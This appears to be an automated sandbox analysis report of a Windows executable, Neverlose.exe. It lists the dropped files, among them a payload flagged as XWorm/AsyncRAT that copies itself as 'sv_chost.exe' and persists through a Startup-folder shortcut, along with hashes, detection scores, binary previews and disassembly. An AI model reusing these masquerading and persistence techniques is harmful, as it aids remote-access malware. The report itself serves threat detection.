SHA1:	17AC435DAFEA6FF9F4D6F83FA6C54F9800F43724
SHA-256:	934290A76F9E1804069D8ED6515B14101D9D8ABA2EACBF5B260F59941C65340E
SHA-512:	FACD013E1B5B8163214CA8C3A18ADEEC3541153CD69240EEFA76DDD54809186E919C1D635AEA648A8641DE7C3216BEC11C41F04719B60F07EDFDC01FF79027B9
Malicious:	false
Preview:	....### explorer ###..[WIN]r[WIN]r[WIN]r

C:\Users\user\AppData\Local\Temp\Solara.exe

Process:	C:\Users\user\Desktop\Neverlose.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	84480
Entropy (8bit):	5.979998885001342
Encrypted:	false
SSDEEP:	1536:RGz2iTckU6TRXXUMCxA1M+bIJqqKHzIlt28A6EVbSOo9y+:cysO6THM+bIJaAQ84bSOos+
MD5:	8AC3D32DDD136180B75C36A39398F39F
SHA1:	D3F37C1CF6DEA9C9F1A17D2D3E2788CB71D13502
SHA-256:	645697F87E53786ED389243B7C493452D1F4DDE157741BBE27D31F4BD87F833B
SHA-512:	0174DF5E68D0EBCC9E736D5574F02C622C108DD16C097DC6D1DD4D61134B0BAC775C63A70D0AA739085E31F5DDC75DD7F51CD9A938C15EAC09F7278BFC1CC283
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\Solara.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\Solara.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Joe Sandbox View:	Filename: Solara.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f.................@..........N_... ...`....@.. ....................................@..................................^..W....`............................................................................... ............... ..H............text...T?... ...@.................. ..`.rsrc........`.......B..............@..@.reloc...............H..............@..B................0_......H....... `..........&.....................................................(.....r...p. ......(.....r5..p. q.%..s.........s.........s.........s..........r...p. p{..rg..p. _...r...p. C.?..rz..p. .j...r...p. ..]...((....r<..p.r...p. ^p.."(....+.&(....&+..+5sZ... .... .'..o[...(,...~....-.(G...(9...~....o\...&.-..r...p. .....rp..p. .`...r...p. .=T..rd..p. .j...r...p. I.;..rX..p. ..................j..................s]..............~.........

C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe

Process:	C:\Users\user\Desktop\Neverlose.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	4.677524556734161
Encrypted:	false
SSDEEP:	192:konexQO0FoAWyEfJkVIaqaLHmr/XKT0ifnTJ1jvVXctNjA:HnexHAWyEfJoIaqayzKAifd1LVEj
MD5:	6557BD5240397F026E675AFB78544A26
SHA1:	839E683BF68703D373B6EAC246F19386BB181713
SHA-256:	A7FECFC225DFDD4E14DCD4D1B4BA1B9F8E4D1984F1CDD8CDA3A9987E5D53C239
SHA-512:	F2399D34898A4C0C201372D2DD084EE66A66A1C3EAE949E568421FE7EDADA697468EF81F4FCAB2AFD61EAF97BCB98D6ADE2D97295E2F674E93116D142E892E97
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 33%
Joe Sandbox View:	Filename: Vjy8d2EoqK.exe, Detection: malicious, Browse Filename: RdJ73GU3N1.exe, Detection: malicious, Browse Filename: SolaraBootstrapper.exe, Detection: malicious, Browse Filename: QIjBj1l8We.exe, Detection: malicious, Browse Filename: 6tGWMkdYv4.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....)............"...0.............I... ...`....@.. ....................................`.................................?I..O....`...............................H..8............................................ ............... ..H............text....)... ..................... ..`.rsrc........`.......,..............@..@.reloc...............2..............@..B................sI......H........'... ...........................................................0..;........r...p.(....(...............(...+}......~.......(......9...............(...+}.......}.......6}.......}...... ....}........0..{....+..}......~.......(...........,'.(......r'..p..(....(....(.......s....z..........(...+}.......~.......(....&......%.......%.......%..........+'.(......r=..p..(....(....(.......s....z..6..(.............0...........(....o......rS..p(.........+8...........o..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0ugvvhxt.lyu.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ev1tqld.l1u.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5vzdhcu5.bsp.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_atd1jsxf.kvm.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ayq3z1tu.h2a.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eoncgeei.oqr.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jxbqwczt.mz1.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kfjejdlc.adx.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lfrdnhu4.tfy.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lgblpxtv.4nu.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_makhgzov.kur.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mkdmvvwq.32z.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ouwzv3ft.res.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oxudvfyb.dt1.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rdhxszdj.lfr.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sw2xekrp.0z0.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tblfnh2b.ehz.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tzoztzcb.cpt.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_viph2qoc.n3i.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zig5gpiv.hlq.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sv_chost.lnk

Process:	C:\Users\user\AppData\Local\Temp\Solara.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Sat Aug 24 18:56:25 2024, mtime=Sat Aug 24 18:56:25 2024, atime=Sat Aug 24 18:56:25 2024, length=84480, window=hide
Category:	dropped
Size (bytes):	771
Entropy (8bit):	5.087787805776581
Encrypted:	false
SSDEEP:	12:86656/l/si4GvgWCyB8dY//H+wl/y9dL30D/DjA3mrHmNeDEw8XBmV:8Rk/l/CGvLu+js9p30D/AWQeYw8XBm
MD5:	7DA92340652284F276C4CC04ACE799B4
SHA1:	5B2BFA0400C5A540C0A4AE0AB4FE9B2910115CC2
SHA-256:	2A36B49CC3D5F57E861C8AA1DE4973D44FBE8460BA138622A9CDD7DDD3FD746B
SHA-512:	7E7CB1599EBE7373476FDA94751856C8E654BACE9000AB79BC87FA463E2A5ED4E0BA0B38B8895449D3EBE50488DDBB405BC4AD9E8A77299F0FAE804746AFC090
Malicious:	false
Preview:	L..................F.... ...P._...P._...P._....J......................z.:..DG..Yr?.D..U..k0.&...&......vk.v....gC.y_...b..._.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y............................%..A.p.p.D.a.t.a...B.V.1......Y...Roaming.@......CW.^.Y............................6..R.o.a.m.i.n.g.....f.2..J...Y.. .sv_chost.exe..J.......Y...Y............................(2.s.v._.c.h.o.s.t...e.x.e.......Z...............-.......Y....................C:\Users\user\AppData\Roaming\sv_chost.exe........\.....\.....\.....\.....\.s.v._.c.h.o.s.t...e.x.e.`.......X.......123991...........hT..CrF.f4... .$...Rb...,.......hT..CrF.f4... .$...Rb...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\sv_chost.exe

Process:	C:\Users\user\AppData\Local\Temp\Solara.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	84480
Entropy (8bit):	5.979998885001342
Encrypted:	false
SSDEEP:	1536:RGz2iTckU6TRXXUMCxA1M+bIJqqKHzIlt28A6EVbSOo9y+:cysO6THM+bIJaAQ84bSOos+
MD5:	8AC3D32DDD136180B75C36A39398F39F
SHA1:	D3F37C1CF6DEA9C9F1A17D2D3E2788CB71D13502
SHA-256:	645697F87E53786ED389243B7C493452D1F4DDE157741BBE27D31F4BD87F833B
SHA-512:	0174DF5E68D0EBCC9E736D5574F02C622C108DD16C097DC6D1DD4D61134B0BAC775C63A70D0AA739085E31F5DDC75DD7F51CD9A938C15EAC09F7278BFC1CC283
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\sv_chost.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\sv_chost.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Joe Sandbox View:	Filename: Solara.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f.................@..........N_... ...`....@.. ....................................@..................................^..W....`............................................................................... ............... ..H............text...T?... ...@.................. ..`.rsrc........`.......B..............@..@.reloc...............H..............@..B................0_......H....... `..........&.....................................................(.....r...p. ......(.....r5..p. q.%..s.........s.........s.........s..........r...p. p{..rg..p. _...r...p. C.?..rz..p. .j...r...p. ..]...((....r<..p.r...p. ^p.."(....+.&(....&+..+5sZ... .... .'..o[...(,...~....-.(G...(9...~....o\...&.-..r...p. .....rp..p. .`...r...p. .=T..rd..p. .j...r...p. I.;..rX..p. ..................j..................s]..............~.........

\Device\ConDrv

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	1776
Entropy (8bit):	3.5480492848009324
Encrypted:	false
SSDEEP:	24:AHq6saJQXQK6zkp5nFC3xtKEcfyNodeI5nFC3udee:6s/Xv6zklC3aEoy+de2C3udee
MD5:	7264ED58A430BF80CED4FE4977A81ABE
SHA1:	AC73A7FC9C993F27494651FD56FC9289F5C54F03
SHA-256:	3BECF43647028907B5DF24E41012AD21AD4CBFC3DC639C73BA7219B5241EE269
SHA-512:	688723E77658A9032D807BF8FBA514B246EA2B7A9E371BA1F6C7DF2BAF4DBA831AED5586CA149AE29C85427EF1592238E9516BD309D47B328D65D73D75DF9C33
Malicious:	false
Preview:	,gg, .. i8""8i ,dPYb, .. `8,,8' IP'`Yb .. `88' I8 8I .. dP"8, I8 8' .. dP' `8a ,ggggg, I8 dP ,gggg,gg ,gggggg, ,gggg,gg .. dP' `Yb dP" "Y8gggI8dP dP" "Y8I dP""""8I dP" "Y8I .._ ,dP' I8 i8' ,8I I8P i8' ,8I ,8' 8I i8' ,8I .."888,,____,dP,d8, ,d8' ,d8b,_ ,d8, ,d8b,,dP Y8,,d8, ,d8b,..a8P"Y88888P" P"Y8888P" 8P'"Y88P"Y8888P"`Y88P `Y8P"Y8888P"`Y8.. .. .. .. ..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.989223506654496
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Neverlose.exe
File size:	1'189'376 bytes
MD5:	39d6ec26690ffee2e74fb9694b30453c
SHA1:	85a689c84e3a6584ed2cfca6da05c54a7ebfeb18
SHA256:	4bf2d648bf901a9c4f26b43f85e26b6659e22657a3d308dea668de43fed2dfdb
SHA512:	184347e37d40f14b210dc5838b0894dcacd746a7af8e68846ebe0ab7794e5c8a24b8d3a2d276c8a06901fbab3fd13f8bca8da37617ecab198c75232d7aee086e
SSDEEP:	24576:dqwa7YmN2K1EFitGs4/ak66Z9c801j5F/:dF5mNl1YMPJ+9cF1jD/
TLSH:	AB45331392D52804CCBE727473EFE71FB2AB21B7AAF7880DBE959D56680409BE444DC4
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f............................m.... ........@.. ........................7...........@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x41036d
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66C6DD90 [Thu Aug 22 06:41:20 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	2e5467cba76f44a088d39f78c5e807b6

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00401000h
call 00007FE5C13D0AB6h
call far 5DE5h : 8B10C483h
jmp 00007FE5C173D1F8h
cwde
aas
aam 95h
push 00000056h
mov cl, 42h
and dword ptr [ecx-0E27C25Ch], 53h
dec ecx
mov edx, 93464AD7h
fld qword ptr [esi-2E888BF0h]
clc
nop
inc edi
inc ebp
aam 0Fh
jnp 00007FE5C13D0A53h
enter E84Eh, 2Dh
pushfd
or eax, 9FA99F8Ah
xchg eax, edi
jns 00007FE5C13D0AB1h
cmp cl, byte ptr [ecx-47h]
inc edi
bound edx, dword ptr [eax-66842CCAh]
jp 00007FE5C13D0AC8h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x298020	0x210	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x16000	0x4c8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
